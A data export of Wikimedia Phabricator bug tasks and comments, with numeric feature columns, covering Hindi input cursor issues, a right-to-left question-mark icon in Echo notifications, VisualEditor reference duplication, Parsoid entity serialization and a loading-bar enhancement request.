Clarification highly welcome.",,,1425553166,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hu7ibauxmtlo3ljy4pvq,task_subcomment,,True,c1,3,True,,,87,,1.5,0.0,1.0,1.0,1.0,5.0,1.0,1.0,0.0,0.0,1.5,0.5,0.0,1.0,0.0,2.0,0.0,6.0,8.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.0,9.5,2.5,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.5,8.5,3.0,2.0,4.0,0.0,2.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,4.0962962962962965,0.7893939393939394,"I've set my Language settings on URL to using native keyboard for Hindi input.

QUOTE
QUOTE

Where exactly? In the ""alternative caption"" field of the ""Insert Image"" dialog? Some other field? The text of the page you edit?
At least for लिप्यंतरण and इनस्क्रिप्ट I cannot reproduce any jumping back of the cursor in the ""alternative caption"" field.

The steps to reproduce this problem are a bit unclear (but probably only because the user interface has changed since this problem was reported). 

Clarification highly welcome."
56276,RTL for Notification Tool: ? should be ؟ icon,"? should be ؟ icon

For  Notification Tool for  RTL languages Please change ""?"" icon in attached image to RTL icon

See @Amire80's comment.  Not the same for all languages.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54252

**Attached**: {F11507}",Medium,50.0,1379514480,1488434919.0,PHID-USER-dswbdv7ibhsefllcqarz,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-blsktvyvk2zcdw2o4yue,task_description,resolved,True,c1,3,False,False,False,11,,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3766233766233764,0.5584415584415584,"? should be ؟ icon

For  Notification Tool for  RTL languages Please change ""?"" icon in attached image to RTL icon

SeeSCREEN_NAME's comment.  Not the same for all languages.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11507}"
818087,RTL for Notification Tool: ? should be ؟ icon,"I believe that this is now long-since fixed, since we moved to OOjs UI.",,,1488434919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,True,,,191,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,17.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.9444444444444444,"I believe that this is now long-since fixed, since we moved to OOjs UI."
495950,RTL for Notification Tool: ? should be ؟ icon,"VisualEditor seems to deal with this issue with the help button (also presented as ?)

It might help checking what lists they have to when to flip the question mark and when not to, and use that same strategy in this case.",,,1437684531,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,17.0,2.0,2.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,3.872340425531915,0.8085106382978723,"VisualEditor seems to deal with this issue with the help button (also presented as ?)

It might help checking what lists they have to when to flip the question mark and when not to, and use that same strategy in this case."
244236,RTL for Notification Tool: ? should be ؟ icon,"**nzmoihue** wrote:

Seems dvwiki is also using ""؟"" http://dv.wikipedia.org/wiki/%DE%88%DE%A8%DE%86%DE%A8%DE%95%DE%A9%DE%91%DE%A8:%DE%A2%DE%A7%DE%82%DE%B0%DE%89%DE%AA_%DE%80%DE%AE%DE%85%DE%AA%DE%87%DE%A6%DE%81%DE%A8 (find ""؟"" on that bug using Ctrl+F)

I guess something like https://github.com/wikimedia/mediawiki-core/blob/9ea365dcb2f1390e117767e0ead4a5655ad4631d/skins/common/shared.css#L240 is needed for reversed question mark",,,1383344041,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,17,,0.0,2.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3,0.725,"**nzmoihue** wrote:

Seems dvwiki is also using ""؟"" URL (find ""؟"" on that bug using Ctrl+F)

I guess something like URL is needed for reversed question mark"
244230,RTL for Notification Tool: ? should be ؟ icon,"This is not needed for all languages.

It is definitely not needed for Hebrew and Yiddish.

It is *probably* needed for all languages written in the Arabic script.

I'm not sure about Divehi (dv) and Aramaic (arc).",,,1381915440,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,15,,4.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,18.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.549019607843137,0.6078431372549019,"This is not needed for all languages.

It is definitely not needed for Hebrew and Yiddish.

It is *probably* needed for all languages written in the Arabic script.

I'm not sure about Divehi (dv) and Aramaic (arc)."
244226,RTL for Notification Tool: ? should be ؟ icon,"**bsitu** wrote:

Oops, the patch referenced the wrong bug",,,1381518303,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,0.75,"**bsitu** wrote:

Oops, the patch referenced the wrong bug"
244223,RTL for Notification Tool: ? should be ؟ icon,"Change 89249 had a related patch set uploaded by Bsitu:
Notification overlay is partially hidden in RTL language

https://gerrit.wikimedia.org/r/89249",,,1381518148,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.909090909090909,1.0,"Change 89249 had a related patch set uploaded by Bsitu:
Notification overlay is partially hidden in RTL language

GERRIT_URL"
244221,RTL for Notification Tool: ? should be ؟ icon,"**bsitu** wrote:



%%%*** This bug has been marked as a duplicate of bug 54252 ***%%%",,,1380239232,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3548387096774195,0.5161290322580645,"**bsitu** wrote:



%%%*** This bug has been marked as a duplicate of bug 54252 ***%%%"
244217,RTL for Notification Tool: ? should be ؟ icon,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/252,,,1379969376,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
244211,RTL for Notification Tool: ? should be ؟ icon,"To devs:
You just need to add element like ""#mw-echo-overlay-moreinfo-link"" but with a ""transform:scaleX(-1);"" [1] to the ext.echo.overlay.css
and call that element instead the ltr one in ext.echo.overlay.js when .sitedir-rtl is true [2]

[1]: http://nicolasgallagher.com/css-background-image-hacks/
[2]: https://www.mediawiki.org/wiki/Manual:Interface/IDs_and_classes

Best",,,1379681684,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,7.0,1.0,3.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,8.0,0.0,1.0,8.0,1.0,0.0,5.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,3.1506849315068495,0.6575342465753424,"To devs:
You just need to add element like ""#mw-echo-overlay-moreinfo-link"" but with a ""transform:scaleX(-1);"" [1] to the ext.echo.overlay.css
and call that element instead the ltr one in ext.echo.overlay.js when .sitedir-rtl is true [2]

[1]: URL
[2]: URL

Best"
56265,VisualEditor: Duplicating references groups,"See
https://en.wikipedia.org/w/index.php?title=Fizeau_experiment&diff=573001070&oldid=572299847 - the user corrected a typo and this resulted in the references groups getting duplicated.
Reproduced in 
https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=573341379 and https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=573340833 while just testing wikilinks, as you can see. My first attempt to reproduce this actually resulted in more weird (although known, I think) behaviour: https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=573176079 .
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379500080,1429223936.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-c45wkid72cnbk33nmpdr,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,9.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,4.0,0.6582278481012658,"See
URL - the user corrected a typo and this resulted in the references groups getting duplicated.
Reproduced in 
URL and URL while just testing wikilinks, as you can see. My first attempt to reproduce this actually resulted in more weird (although known, I think) behaviour: URL .
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
444986,VisualEditor: Duplicating references groups,"I've tried to reproduce this using @Elitre's testcases, but couldn't; I'm tentatively closing as fixed.",,,1429223923,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-c45wkid72cnbk33nmpdr,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,"I've tried to reproduce this usingSCREEN_NAME's testcases, but couldn't; I'm tentatively closing as fixed."
402145,VisualEditor: Duplicating references groups,I wonder if this is still valid.,,,1421888557,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-c45wkid72cnbk33nmpdr,task_subcomment,,True,c1,3,True,,,81,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,I wonder if this is still valid.
243605,VisualEditor: Duplicating references groups,"https://fr.wikipedia.org/w/index.php?title=Archives_sociales_suisses&diff=96769347&oldid=96768850

https://fr.wikipedia.org/w/index.php?title=Jeu_vid%C3%A9o_ind%C3%A9pendant&diff=95172709&oldid=95071765",,,1379575952,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-c45wkid72cnbk33nmpdr,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,"URL

URL"
56262,Parsoid: mw:Entity not preserved if data-parsoid missing,"Edit a page with One&nbsp;Two which displays as One Two.  Select the entire text, copy, past at end of the string.  Displays in VE fine at first.  Saving however produces One&nbsp;TwoOneTwo which displays as One TwoOneTwo. 

Originally from 
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&curid=37904286&diff=573462315&oldid=573461696

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379493780,1381554139.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.102941176470588,0.6617647058823529,"Edit a page with One&nbsp;Two which displays as One Two.  Select the entire text, copy, past at end of the string.  Displays in VE fine at first.  Saving however produces One&nbsp;TwoOneTwo which displays as One TwoOneTwo. 

Originally from 
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
243460,Parsoid: mw:Entity not preserved if data-parsoid missing,"Change 89356 merged by jenkins-bot:
Bug 54262: Serialize new entity to its contents

https://gerrit.wikimedia.org/r/89356",,,1381535250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,"Change 89356 merged by jenkins-bot:
Bug 54262: Serialize new entity to its contents

GERRIT_URL"
243456,Parsoid: mw:Entity not preserved if data-parsoid missing,"(In reply to comment #2)
> Is data-parsoid copied as well?

Never mind, the title had that info.",,,1381532829,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,1.0,"(In reply to comment #2)
QUOTE

Never mind, the title had that info."
243452,Parsoid: mw:Entity not preserved if data-parsoid missing,"Change 89356 had a related patch set uploaded by GWicke:
Bug 54262: Serialize new entity to its contents

https://gerrit.wikimedia.org/r/89356",,,1381532654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"Change 89356 had a related patch set uploaded by GWicke:
Bug 54262: Serialize new entity to its contents

GERRIT_URL"
243448,Parsoid: mw:Entity not preserved if data-parsoid missing,Is data-parsoid copied as well?,,,1381523696,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Is data-parsoid copied as well?
243444,Parsoid: mw:Entity not preserved if data-parsoid missing,"<p>Foo<span typeof=""mw:Entity"">&nbsp;</span>Bar</p>

converts to

FooBar

which appears to be the problem",,,1381157310,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.083333333333333,0.75,"<p>Foo<span typeof=""mw:Entity"">&nbsp;</span>Bar</p>

converts to

FooBar

which appears to be the problem"
56225,VisualEditor: Show percentage of progress in loading animation,"DKqwerty at en.wp reports: ""Article Futurama took 58 seconds to load into VE, with the loading bar running the entire time. I think this is unacceptable as it is probably off-putting to inexperienced users. Further, the bar just fills, empties, fills, empties, etc. rapidly and continuously until the page is loaded... Would it be possible to make this bar actually indicate what percentage has been loaded so editors have at least a hint that something is being processed?""
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1379426040,1427850989.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-boxjw4hklzqeriwzj6zc,task_description,resolved,True,c1,3,False,False,False,11,,0.0,1.0,0.0,3.5,0.0,4.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,5.0,8.0,1.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.5,6.0,1.5,1.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,1.0,11.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,3.5,5.5,6.5,2.0,0.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,8.0,2.5,1.0,1.5,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,4.192831215970962,0.7740471869328494,"DKqwerty at en.wp reports: ""Article Futurama took 58 seconds to load into VE, with the loading bar running the entire time. I think this is unacceptable as it is probably off-putting to inexperienced users. Further, the bar just fills, empties, fills, empties, etc. rapidly and continuously until the page is loaded... Would it be possible to make this bar actually indicate what percentage has been loaded so editors have at least a hint that something is being processed?""
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
